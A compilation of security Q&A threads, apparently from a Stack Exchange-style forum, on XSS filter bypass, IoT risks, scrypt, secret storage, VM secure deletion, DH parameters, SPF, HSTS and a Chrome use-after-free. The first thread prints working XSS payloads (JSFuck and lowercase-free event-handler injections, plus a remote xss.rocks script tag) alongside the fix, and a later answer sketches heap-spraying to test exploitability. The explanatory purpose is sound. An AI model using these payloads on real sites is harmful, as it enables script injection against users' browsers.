XSS bypass strtoupper & htmlspecialchars I've looked into a bit of pentesting but the following is eluding me, I think I've got it but I can't get it to trigger!

Trying to bypass the following:

$strippedID = htmlspecialchars($ID);
$NEWID = strtoupper($strippedID);
...
echo "Tag ID: <input type='text' value='".$NEWID."'>";

So far I've tried:

test-xss.php?id=%27%20onload=%27javascript:alert(`XSS`)

This doesn't work because the alert function is changed to uppercase, and so an error is thrown in the console. I've also tried encoding the whole request parameters.

test-xss.php?id=x%27%3E%3CSCRIPT%20SRC=http://xss.rocks/xss.js%3E%3C/SCRIPT%3E%3Ci%20z=%27x

and this doesn't seem to want to work because even though the <> are encoded they still seem to come out as & lt;  and & gt;

Maybe only attack is charset UTF-7?

Any ideas?

Your parameter $ID is printed inside an HTML tag attribute value. Unfortunately, it's run through htmlspecialchars() which is supposed to encode HTML-significant characters. Since the function doesn't have the ENT_QUOTES flag set, it will escape <, >, &, ", but not ' (single quotes). Lucky for you, the value is enclosed by such single quotes, so you can use ' to break out of the attribute.

Next, you'd want to close the tag and start a new one (e.g. <script>) but htmlspecialchars() doesn't let you (as it escapes > and <). So instead, you have to use an event handler that works for <input> tags. The onload event handler doesn't apply to input boxes but you can use others, e.g.onmouseover. (The side effect is that you will need minimal user interaction to trigger the XSS, or need to take advantage of additional attributes like autofocus to have it triggered immediately on page load.)

So we have this:

<input type='text' value='' onmouseover='(javascript payload)'>
                          |-------------- $ID --------------|

Now, you can't just use plain JS like alert(1) as the payload since the value also runs through strtoupper() that would capitalize the function name to ALERT(1) which is invalid. Instead, you need to find JS code that works with capitals only, or even better, without any letters at all. For that you can use a tool like JSFuck that translates any JS code into an equivalent representation without any letters.

For example, alert(1) becomes:

[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()

So, this would be a working XSS PoC:

' onmouseover='[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()

If using JSFuck is impractical for you (e.g. due to URL length restrictions as @chefarov remarked) there are other techniques that work without lowercase letters. E.g., the attribute value can be put entirely as HTML entities so that the a of alert is written as &#X61; and so on. (In your specific scenario you can't use this because htmlspecialchars() would also escape any &.)

However, here's a PoC of a shorter payload that avoids lowercase letters:

xss.php?xss='+autofocus+onfocus=U%3D[][[]]%2B''%3BY%3D[][U[4]%2BU[5]%2BU[6]%2BU[8]]%3BX%3DY%2B''%3BT%3D(!![]%2B'')%3BF%3D(![]%2B'')%3BZ%3DU[8]%2BU[3]%2BX[30]%2BX[31]%2BU[8]%2BU[3]%2B'URI'%3BG%3DY[X[3]%2BX[6]%2BX[2]%2BF[3]%2BT[0]%2BT[1]%2BT[2]%2BX[3]%2BT[0]%2BX[31]%2BT[1]]%3BG(U[3]%2BX[27]%2BF[1]%2BF[2]%2B'('%2BZ%2B'(`%2561%256C%2565%2572%2574%2528%2527%2578%2573%2573%2527%2529`))')()//

(I'm essentially assembling Function(eval(decodeURI(...))) without lowercase letters and can then feed it the actual payload URL-encoded (e.g. a => %61) which never requires lowercase letters.)

The fix

You should encode both double and single quotes by adding the ENT_QUOTES flag:

$NEWID = strtoupper(htmlspecialchars($ID, ENT_QUOTES));


What kinds of security risks do wifi enabled laundry machines and other internet of things appliances pose? I am an old fashioned person and have never heard of wifi enabled laundry machines until recently, I don't care for it and have trouble seeing the benefits outweigh unknown risks.
I don't know if there's a security risk posed, or if it could eat up my bandwidth, additionally I would hope it wouldn't be reliant on being always online and refuse to work if my internet connection goes down.
Some example laundry machines which first exposed me to this conundrum if useful:
https://www.lg.com/ca_en/support/product/lg-WM3095CW
https://www.lg.com/ca_en/dryers/lg-DLE3090W

There's at least two security concepts here that you're concerned about: vulnerability and availability.
First, vulnerability. Anything that is network-connected is theoretically network-exploitable. So adding another device to your network does increase your risk. A NAT firewall at your home network's boundary would prevent incoming connections. But there are at least two more attack vectors. If someone is able to get onto your WiFi and join your network, then they can talk directly to your washing machine. Or the app you use to talk to the washing machine may itself be vulnerable. If an attacker has the tools to install malware on your washing machine then you could be contributing to a bot net, which could create a lot of malicious network traffic.
Second, availability. You specifically asked about a requirement for online access in order for the appliance to work. I can't find any situation yet where that happens. But it definitely happens with video games. So it's an option that companies are aware of. This situation is related to digital rights management (DRM). In my opinion, the bigger availability problem is if the device relies on an external server in order to function, and then the company drops support and turns off the server, making the appliance useless. Amazon has done this to a couple different devices although none of them are comparable to a home appliance like a washing machine.
A final possibility that you didn't mention was privacy. Is your appliance collecting data about you and sending that data back out? Will your appliance start showing you ads every time you want to wash something?
I do own an oven that is WiFi-enabled. It is not connected to my network.


What are the recommended scrypt cost factors for 2016? I've been trying to look for the answer, but the latest one I found was outdated by three years. So what are the recommended scrypt cost factors for 2016?

In general, use the maximum cost factor that is bearable from a performance perspective. I would create a benchmark application which is as close as possible to what your application does, and find out the cost factor on your production hardware that gives you the maximum tolerable delay.

In most systems, I strive for a 10 to 20 ms delay. Assume your attacker has hardware that is, say, 1000 times more powerful than yours (which is not unreasonable, given that scrypt cannot be GPU-accelerated), he can try 105 guesses per second. For a 10-character alphanumeric password, that's 2610 passwords, or about 1014 potential guesses. That would take 109 seconds, or 31 years. Sounds acceptable to me.

If you want to use even higher delays, remember that scrypt is memory hard. This means it uses a (relative) lot of memory, in the order of megabytes, for each verification, so having a lot of them running in parallel might be more of a performance hit than the absolute processing power required.

Have a look at Security.stackexchange.com "Recommended # of iterations when using PKBDF2-SHA256?" for a good analysis of the same subject on PBKDF2.


How do open source projects handle secure artifacts? Specifically, how are things like keystores handled, or other items needed to build or run an app?

In my case, I have a Chrome OS app that requires a keystore to build and publish to the Chrome Web Store.

I have several ideas, but I really want to know how others are actually handling this type of situation.

Please remember the following important rule:

Don't hardcode cryptographic keys or secrets in the code!

This rule is not specific to open source.  It is a good rule of thumb for all source code.

Maybe you are wondering: where should you store secret keys, passwords, etc.?  The answer: Store them in a separate configuration file, not in the source code.  Don't include them in the source code repository / version control system.


How to secure delete inside a virtual machine? Here is a tricky one:  Can you securely delete a file from a VM?

I'm sure the answer is dependent on a million different variables, and I'm sure the answer is something like "not really" but I want to hear what the experts think and why.

If secure delete is not possible via conventional methods like shred, is it possible via unconventional methods?

If secure delete is simply not possible (or beyond the capability to assert) then what is the implication for "the cloud"?  Is "the cloud" simply not viable for security?  Or does it mean we must use full disk encryption at all times in "the cloud"?

No, absolutely not.

A virtual machine lacks the necessary knowledge and control over the underlying storage infrastructure to ensure secure deletion of data.

For any number of reasons, writes may be redirected to new blocks and thus leaving the old data intact on physical storage. This is a typical behavior for SSD devices due to wear leveling, for storage arrays and filers for reasons related to error correction and efficiency, and by any sort of snapshot functionality to support backup, cloning or data retention.

There may be exceptions in certain configurations where the hypervisor is able to facilitate deletion (by means such as an API that can be called from the guest), or where the VM has enough of a direct relation to physical storage (By means such as I/O paravirtualization or attaching an iSCSI device directly to the guest), but in general you should not depend upon any virtual machine to overwrite specific physical blocks.

Particularly in the case of a virtual machine in the cloud (Infrastructure as a Service aka Virtual Private Server) you can not expect to exert any influence on physical storage. On a poorly implemented service it's conceivable that blocks of  data can leak to neighbouring virtual machines.

Sensitive data should be protected with encryption at rest or perhaps stored on a trusted storage service that can provide the required level of security.

Much of this even applies to physical servers, you need to know the specifics of the storage components to ensure secure deletion - eg. release snapshots, recondition cells, destroy redundant block copies, rewrite parity information, clear out journals and transaction logs or commit write-back cache to disk - all depending on type of storage.


Decrypt SSL Connections established by a Host I have adminsitrative privileges on I want to decrypt a SSL connection that is established by an unknown binary file on a Windows 7 Computer. This binary doesn't exist on any other computer on our network and establishes SSL encrypted Connections to a specific host in irregular intervals. I now want to decrypt the connection to be able to determine which data is transfered.

I already tried to intercept the connection using mitmproxy and a fake CA which did not work. Is there a way to detect SSL keys in the RAM or is there another way to "catch" all keys used to decrypt SSL connections?

// The connecton breaks when I try to use mitmproxy. I assume the binary brings its own list of valid CA certificates.

You might try the methodology listed in this article:
http://blog.erratasec.com/2015/02/extracting-superfish-certificate.html

The author dumps the memory of the running process, and then finds the key in that dump. He uses a list of strings from the memory dump as inputs to a dictionary attack to crack the password for the key.

If, as you suspect, the binary has its own certs, then this might be a general plan of attack for you.


Malware Threat Hunting in Airport Systems - KPIs/Metrics to Track I am trying to figure out how to detect potential threats from malwares in various systems installed in the airport.

To be specific, my focus is on the following systems in airports:

Baggage Handling System (BHS)
X-ray machines
CCTV
Building Management System (BMS)
Airport Operating System (AOS)
Human Resource Management System (HRMS)

Now, my objective is to determine some KPIs/metrics for each of the systems that need to be tracked in order to understand whether any potential cyber-attack is imminent.

I tried Googling a lot, but not able to find anything specific on what exactly my KPIs should be. Any kind of help would be appreciated.

You can't really know whether an attack is imminent. All you can do is try to identify what the security posture of the systems is, and what resources, processes, and procedures you have in place in order to identify and respond to security incidents that affect those systems.

If you really need to boil it down to KPIs, here's what I would try to quantify for each of the devices/systems in question:

How long has it been since this system received updates/patches?
When was this system last covered by a penetration test?
Does the system have any known issues that are documented in your risk register? How many? Of what severity / CVSS scores?
When was the last network security architecture review that covered the network segment(s) that the system is connected to?
Is this system in your asset management database and is the information up to date, including contact information about key stakeholders and maintainers?
Do you know where this device physically is? Do you know what the physical access controls are for that location? Can you easily identify who has access to, and who has recently accessed, that area?
Do you have a documented threat model that encompasses this system?
Do you have visibility of this system within your SIEM? If you make changes to a critical system without the proper procedures, does your SOC notice?
Do you have specific guidance relating to this system within a security incident response playbook? If that system were to be hit by ransomware, for example, do you have a predefined set of steps to follow in order to handle that incident? Can you recover?
Are there any regulatory requirements relating to this system? Are they being properly considered as part of your security testing process?
Could a breach of this system lead to a safety hazard? If so, what compensating measures do you have to help minimise the risk and impact?

And more generally as an organisation:

When did you last test the responsiveness of your security monitoring and security team? e.g. with a red team exercise.
Do you have a plan in place for the eventuality of several of your infosec team being unavailable (e.g. due to illness) during a security incident? Are others trained to use your security incident response playbooks? Do they have the necessary access to perform the steps within them?
When was the last time you had a comprehensive review of all of your security documentation?
Do you train your staff on how to handle phishing attacks? Do you send phishing emails to test them?

The more of these you can answer in a positive manner, the better. But don't just answer off the cuff based on your own personal memory of your organisation's security activities. Check that the documents you think exist, do exist, are up-to-date, and are known about by your staff. Verify that the procedures work as you expect them to. Run mock incident exercises. Where you have answered no to a question, or where you find deficiencies as part of your review, ensure that you put together a list of things that need further attention.

Finally, the key part: you can't just do this once. You need to go through and do this annually, at least.


Diffie Hellman parameters still calculating after 24 hours I have a fresh install of Arch Linux on a RaspberryPi model B. I'm setting up OpenVPN and using easy-rsa with OpenSSL 1.0.2d to generate initial keys and certificates. All went fine until I ran ./build-dh(script here). It was 24 hours later when I wrote this.

I have previously configured OpenVPN on other devices and the same RaspberryPi, but under Raspbian. And I don't remember this command ever taking so long. Last time I used 2048 bit key and it took about an hour. Now I'm trying with a 4096 bit key and it's been more than a day. In fact it's been another 12 hours since I reinitiated all my settings, enabled the build-it hardware random number generator and tried again. But it's still ongoing.

cat /proc/sys/kernel/random/entropy_avail returns values in the range of 3000-3100.

Does anyone have any previous experience with this? How do I check if it's just not executing in a loop?

If openssl uses a lot of CPU then it is not blocked waiting for "entropy". OpenSSL is actually sane in that respect, and uses a cryptographically secure PRNG to extend an initial seed into as many bits as it needs.

When you use dhparam, OpenSSL not only generates DH parameters; it also wants to assert his social status by taking care to use for the modulus a so-called "strong prime", which is useless for security but requires an awful lot more computational effort. A "strong prime" is a prime p such that (p-1)/2 is also prime. The prime generation algorithm looks like this:

Generate a random odd integer p.
Test whether p is prime. If not, loop.
Test whether (p-1)/2 is prime. If not, loop.

Random odd 4096-bit integers are probability about 1/2000 to be prime, and since both p and (p-1)/2 must be prime, this will need on average generating and testing for primality about 4 millions of odd primes. This is bound to take some time.

When going from 2048-bit to 4096-bit, the density of strong primes is divided by 4, and the primality tests will also be about 4 times slower, so if generating a 2048-bit DH modulus takes 1 hour on average, the same machine with the same software will use an average of 16 hours for a 4096-bit DH modulus. This is only averages; each individual generation may be faster or slower, depending on your luck.

The reasonable solution would be to add the -dsaparam option.

openssl dhparam -dsaparam -out /etc/ssl/private/dhparam.pem 4096

This option instructs OpenSSL to produce "DSA-like" DH parameters (p is such that p-1 is a multiple of a smaller prime q, and the generator has multiplicative order q). This is considerably faster because it does not need to nest the primality tests, and thus only thousands, not millions, of candidates will be generated and tested.

As far as academics know, DSA-like parameters for DH are equally secure; there is no actual advantage to using "strong primes" (the terminology is traditional and does not actually imply some extra strength).

Similarly, you may also use a 2048-bit modulus, which is already very far into the "cannot break it zone". The 4096-bit modulus will make DH computations slower (which is not a real problem for a VPN; these occur only at the start of the connection), but won't actually improve security.

To some extent, a 4096-bit modulus may woo auditors, but auditors are unlikely to be much impressed by a Raspberry-Pi, which is way too cheap anyway.


How safe is it to use shared SPF record domains? I'm wondering the following, what if shared SPF records like below are used?

v=spf1 include:_spf.google.com ~all
v=spf1 include:spf.mandrillapp.com ~all
v=spf1 include:servers.mcsv.net ~all

Can it affect the integrity of my domain?

Lets say I own secret.com and setup Mandrill, Google, Mailchimp or similair shared SPF records. Can my competitor bypass this security meassure by sending e-mails from competitor.com using my domain secret.com?

I assume that this way the SPF records check, will show that the domain competitor.com is allowed to send mails from my secret.com domain right? Or can the use of such shared SPF domains like above cause other risks?

Can my competitor bypass this security meassure by sending e-mails from competitor.com using my domain secret.com?

Yes, competitor can bypass this, but not easily. Lets say that SPF is

"v=spf1 include:spf.mandrillapp.com ~all"

This means that I allow server spf.mandrillapp.com to send emails for my domain, while all other will SoftFail (that is the ~all).

So back to the question, competitor would have to use the spf.mandrillapp.com to send emails using your domain. This is standing on one big BUT: but the competitor would have to have access to this server. So your mail is secure until your mail hoster does not give access to send mails as your domain form this server to competitor.

  I assume that this way the SPF records check, will show that the domain competitor.com is allowed to send mails from my secret.com domain right?

No! This gives permisson to spf.mandrillapp.com, and others will SoftFail. You can read more about SPF records on Wikipedia.

  Or can the use of such shared SPF domains like above cause other risks?

Your mail is secure until your mail hoster does not give access to send mails as your domain form this server to competitor.


Strict Transport Security (HSTS) HTTP Response Header Security Related Question I always thought HSTS headers were server specific, what reason would cause this header to not be invoked across certain URI endpoints i.e. HSTS header is in response to the root direct /, as well as /contact/doctors, but not in /contact/nurses.

Could someone please explain this to me?

All HTTP(S) headers are just data that the server sends over the wire. It's literally just plain text, usually ASCII/UTF-8. The server can send whatever headers (or body) it is configured for in response to whatever request it receives. Although it is common to configure a server to send certain headers with every response, doing so is neither the only option nor necessarily the best.

Sometimes different responses are sent for efficiency reasons, such as not sending headers to browsers so old they won't understand, or serving different HTTP/CSS/JS to different browsers (remember, the headers - like the body - are just data and can be controlled arbitrarily). Sometimes different paths have difference content or security policies. However, servers can be configured to do anything that any other software could do; for a particularly silly example, the server could skip sending any proper HTTP response at all for every 100th request, and just reply with the text of "I'm a little teapot". This would be a bad user experience, but it wouldn't be that hard to configure a server to do it (most web frameworks will automatically send at least the top line, with the response code, but you can avoid that with some effort).

Also, be aware that there's no 1:1 mapping of domain names to servers. A single domain name might be served by many different servers on the back end, with a piece of software sitting at the public address of the domain, terminating TLS, and routing the request to one of many back-end servers. Some of those back-end servers might send HSTS headers with every request, some with none, some on some other condition (probably not "alternating Thursdays", but it could be!).


WhatsApp end-to-end encryption verification IS there any way to verify the encryption from remote or so? Like my friend is 1000 miles away from me the physically QR Code scanning is not possible. So is there any way to verify the same?

If you feel confident enough that you can recognize his or her voice over the phone, you can simply compare the security code (the long string of numbers) over the phone. Or via a video call, which is even harder (if not impossible) to fake for a potential man in the middle. Or if you already confirmed PGP keys, you can exchange the security code (or the QR code) via e-mails using PGP signatures.


How to know if virus alert is false positive? I received alerts (email & browser injection) from my ISP about a Zbot infection behind my modem.

I ran Microsoft's malicious software removal tool, as well as AVG's Zbot remover on both my Windows PCs and they found nothing. I also did a full scan with ESET, my normal anti-virus.

Is this a false positive? Is there anything else I should do?

Edit: Message From My ISP: https://pastebin.com/fw5AmHbX

Edit2: I do have OSX and Linux machines here as well, but I believe Zbot is only a Windows infection.

First, you should verify that the email from your ISP is valid (i.e. came from your ISP). I'm not sure why anyone would warn you of a possible infection for malicious intent but, paranoia is not always the worst thing in the world when it comes to security. Call your ISP. Ask them how they caught this.

Unless you explicitly know what you are looking for (socket calls, heatbeats, etc.) it is going to be hard to verify. It's always better to be safe than sorry. Again, call your ISP and see how they fingerprinted this and from there you may be able to narrow down the point of infection.

If it is in fact Zbot then it can be VERY difficult to detect and remove with standard AV tools or even running a script called tron script. You can try your best with the tools at your disposal, and even run the tron script to see if it picks anything up. But, this is one of the prime delivery methods for ransomware, botnets, etc. And as such, it is very well hidden and written.

Here's where the story gets sad, you probably need to nuke it from orbit. I know, this option sucks.. alot.. But, most if not all of us run into this from time to time. Especially in the research realm.


Understanding a vulnerability http://code.google.com/p/chromium/issues/detail?id=68439

I am having a little bit of trouble understanding this report.

From what i have read, it appears as though removing certain dom nodes triggers a tab crash within chrome.

When removing certain nodes, a jump to null is triggered in each of the two cases.

What does jump to null mean? I have tried searching up on information on it, but it isn't really clear to me.

Any assistance is very much appreciated.

There are two vulnerabilities, each triggering a jump to address zero:

The first, inside markContainingBlocksForLayout:

  Program received signal SIGSEGV, Segmentation fault.
  [Switching to Thread 0xb09fdb70 (LWP 2039)]
> 0x00000000 in ?? ()
  (gdb) bt
> #0  0x00000000 in ?? ()
  #1  0x0194b82b in markContainingBlocksForLayout (this=0x2e29944, owner=
      0x2e298e4, oldChild=0x0, fullRemove=true)
      at third_party/WebKit/WebCore/rendering/RenderObject.h:946

Here's the assembly dump at the faulting eip:

   0x0194b81b <removeChildNode(...)+1083>:  decl   -0x74ffd98c(%ebp)
   0x0194b821 <removeChildNode(...)+1089>:  push   %es
   0x0194b822 <removeChildNode(...)+1090>:  mov    %esi,(%esp)
   0x0194b825 <removeChildNode(...)+1093>:  call   *0xb0(%eax)
=> 0x0194b82b <removeChildNode(...)+1099>:  test   %al,%al
   0x0194b82d <removeChildNode(...)+1101>:  jne    0x194b67d <removeChildNode(...)+669>
   0x0194b833 <removeChildNode(...)+1107>:  mov    -0x24(%ebp),%edi
   0x0194b836 <removeChildNode(...)+1110>:  mov    -0x28(%ebp),%esi
   0x0194b839 <removeChildNode(...)+1113>:  jmp    0x194b728 <removeChildNode(...)+840>

The call instruction calls to the address at eax + 0xb0, which implies that 0x02e294f8 is zero (since eax is 0x02e29448).

Here's the second one, inside RenderObject::destroy:

  Program received signal SIGSEGV, Segmentation fault.
  [Switching to Thread 0xb1646b70 (LWP 2100)]
> 0x00000000 in ?? ()
  (gdb) bt
> #0  0x00000000 in ?? ()
  #1  0x0194387f in WebCore::RenderObject::destroy (this=0x2e29cc4)
      at third_party/WebKit/WebCore/rendering/RenderObject.cpp:2152

And the disassembly at eip again:

   0x0194386f <WebCore::RenderObject::destroy()+15>:    xchg   %eax,%ebx
   0x01943870 <WebCore::RenderObject::destroy()+16>:    incb   0x3dd4a3c3(%ecx)
   0x01943876 <WebCore::RenderObject::destroy()+22>:    add    %ecx,0x24348906(%ebx)
   0x0194387c <WebCore::RenderObject::destroy()+28>:    call   *0x24(%eax)
=> 0x0194387f <WebCore::RenderObject::destroy()+31>:    test   %eax,%eax
   0x01943881 <WebCore::RenderObject::destroy()+33>:    je     0x194388b <WebCore::RenderObject::destroy()+43>
   0x01943883 <WebCore::RenderObject::destroy()+35>:    mov    %eax,(%esp)
   0x01943886 <WebCore::RenderObject::destroy()+38>:    call   0x194a680 <WebCore::RenderObjectChildList::destroyLeftoverChildren()>
   0x0194388b <WebCore::RenderObject::destroy()+43>:    mov    0x8(%esi),%eax
   0x0194388e <WebCore::RenderObject::destroy()+46>:    mov    0x14(%eax),%eax

This time, it's eax + 0x24, and eax is 0x02e29d38, giving us 0x02e29d5c. This implies that the memory at 0x02e29d5c is also zero.

The distance from 0x02e294f8 to 0x02e29d38 (just less than 2KB) implies that there are two separate allocations being accessed here, so they're almost definitely both different bugs.

The patch diff for the fix indicates that this is a use-after-free issue, where objects were being "merged" at the same time as being deleted. This may be vulnerable to a race condition, where the memory is deallocated, then re-allocated elsewhere in a probabilistic fashion, then jumped to by this bug, but I can't tell without really digging into it.

You could test the exploitability by doing a lot of memory allocations in a loop within your JavaScript (string manipulation is a good one) and then causing the fault during the loop. If the memory is overwritten, the use-after-free might attempt a jump to some of your string's value.


Best practice for securing user credentials once they reach the server using Basic Auth + SSL I know it's generally said that storing user credentials in plaintext is a horrible idea.  I'm in the middle of implementing Basic Auth over SSL and was wondering what I should do with the user credentials once they're decrypted.  Once I decrypt from the wire, I need to make sure the credentials match what's stored in the db.  What's a secure way to get this done?

You need to store a hashed version of the password in your database. Upon receiving the password from the wire, you recompute the hash and check that it matches the stored version.

This shall be done this care. This answer explains it all.


Is it safe to give my PayPal email and Home Address to a stranger? I am selling some fairly expensive furniture on CraigsList.  A few hours after posting, I received an offer.  They said to send them my PayPal email and the address so that movers could come pick it up when payment is received. This was discussed via text message, so they already have my phone number.

I am sketched out a bit by this.  They did not ask to come see the furniture in person.  When I offered, they said they were too busy with work.  They did not ask questions about the furniture.  They just said they would take it at full price.

Is it safe to give my PayPal email address and my Home Address to this person?  Or is that enough information to steal from me?

The whole affair sounds strange or at least unusual, indeed.

  Is it safe to give my PayPal email address and my Home Address to this
  person?

As mentioned on Kaspersky Security Bulletin 2013. Overall Statistics for 2013
 DDoS attacks and mass spying on personal information are one of the main activities of attackers.

In this article (Data Breach QuickView, An Executive’s Guide to 2013 Data Breach Trends), you can also see percentage of interest in personal data of nefarious people:

In your case, you are likely to be a victim of a social engineering procedure.

Bu what could be done by your data ? You could be either impersonated, or seeing your email address under regular spams reception -or even being contacted by the same people using a malicious email that could solicitation you for example to visit a link that will perform a drive-by download attack to install malware on your computer or control it) or, in the case these people know you, try to guess or crack your password since these efforts would be rewarded.

What I mentioned is in terms of security threats (or the pessimistic point of view), otherwise it could be just some immature people who do not take their job too seriously -which thing is rare but exists anyway.


Is this "forgotten-password" procedure safe/legal? Recently, I had lost my password on a web app that is supposed to be really secure (think bank or government type web app). This web app contains a lot of personnal critical infos (like SSN and salary, but legally).

Here is the procedure I had to follow:

I tried answering my secret question, but I did not remember the answer
I sent a message to the Customer Service as advised. A "ticket" was created, with a number.
A generic e-mail adress, not a secured one (no signature etc.) asked me to answer the e-mail with a scan of my ID (front & back). The only thing that made me trust this e-mail is that there were my ticket number in it.
I answered, so I had to write my e-mail to an adress like "contact@company.com", with the ticket number and the scan of my ID.
Then, they sent me the answer of my secret question, so they stored it in plain text
I answered my secret question, that generated a link sent to me by e-mail to choose a new password

Two things are warning me here, but I'm not sure it is that bad:

I had to send a scan of my ID, front and back, to an unstrusted e-mail adress potentially accessible by a lot of the company's staff.
The answer of my secret question is stored in plain text (or equivalent), so anyone accessing the database can see it, but to use it they must access my e-mail account.

I'm in Europe so it may change some things, legal-wise.

UPDATE FOR CLARIFICATION :

My questions are:

Can an attacker do anything wrong with my secret answer if he has access to it ?
Is it OK, information security-wise and legal-wise, to ask for an ID in an unsecured (no encryption or anything else), untrusted (no signature) and generic (potentially everyone in the web app's company can access it) e-mail address ?

First, questions about legality should be directed to https://law.stackexchange.com.  As for the rest let's break it down to secret question security and id security:

Secret Questions

Using secret questions at all for account recovery has basically been a "deprecated" security step for quite a while.  My go to example of why this is a bad idea is the hacking of Sarah Palin's email account during the 2008 US presidential election.  The person who accessed her email did so by using the password reset feature in yahoo, which he was able to do because they used secret questions and all of her questions/answers were based on publicly available information about her life.

As a general hint, anytime I do encounter a site that uses security questions, I don't actually answer any of the questions asked.  Instead I generate a long random string (which I store in a password manager or what-not) and use that for the answer.  Because security questions are based on personal information they are a risk factor primarily for targeted attacks (aka Sarah Palin).  As a result using a random string as an answer to a security question means that even if someone knows the middle name of your second grade teacher, the still won't be able to break into your bank account (because you didn't actually answer the question they asked).  So whatever you do, if a site is using security questions, treat it like a password and provide a long random string.  Also keep in mind that whoever setup the site isn't actually doing security well.

Onto the actual question though: "Is this safe?".  Safe is a meaningless term in the security world.  Nothing is safe.  It is only ever "safe enough for my purposes".  From that perspective I probably wouldn't worry too much if they were storing your answers in plain text.  The answer to a couple security questions probably won't help an attacker very much because few sites these days still use them and the questions themselves vary from site to site.  As a result even if someone got a hold of an answer to a security question of yours on one site you use, they can't just go around gaining access to other accounts of yours like they can if they had found the one password you used everywhere.  However, now might be the time to go find all your accounts on systems that have security questions and replace them with gibberish instead of actual answers (or just delete your account since these people don't know what they are doing).

Emailing identification

I think you pretty much know the answer to this one yourself, but just to say it out loud: emailing around sensitive PI (personal information) over an insecure channel is definitely a bad idea.  In this case though it has the advantage of at least letting you know that they have poor security practices.  I used a system once that required me to take a picture of my ID using my computers webcam over a secure HTTPS connection.  Sounds good of course (or at least, that's the minimum required to do it well).  For all I know though they stored pictures of my id in a public AWS S3 bucket which will later be found by hackers and then splashed across the news (and happens every other day).

I realize that's not much consolation, but since it's quite obvious that having your personal information sent across unencrypted channels is a terrible idea, I figure I might as well try to find some good news.  At least now you know that their security is terrible, and you can take measures accordingly - generate and use a unique and long password for this site, change the answers to your security questions to be long random strings, store as little information in their system as you can get away with, and complain loudly to whoever you can about how poorly they are using and storing your data.  If you can also confirm that they are storing your data illegally, then you have a whole new slew of people you can complain to, so perhaps something can even be done about it (but I wouldn't hold your breath).


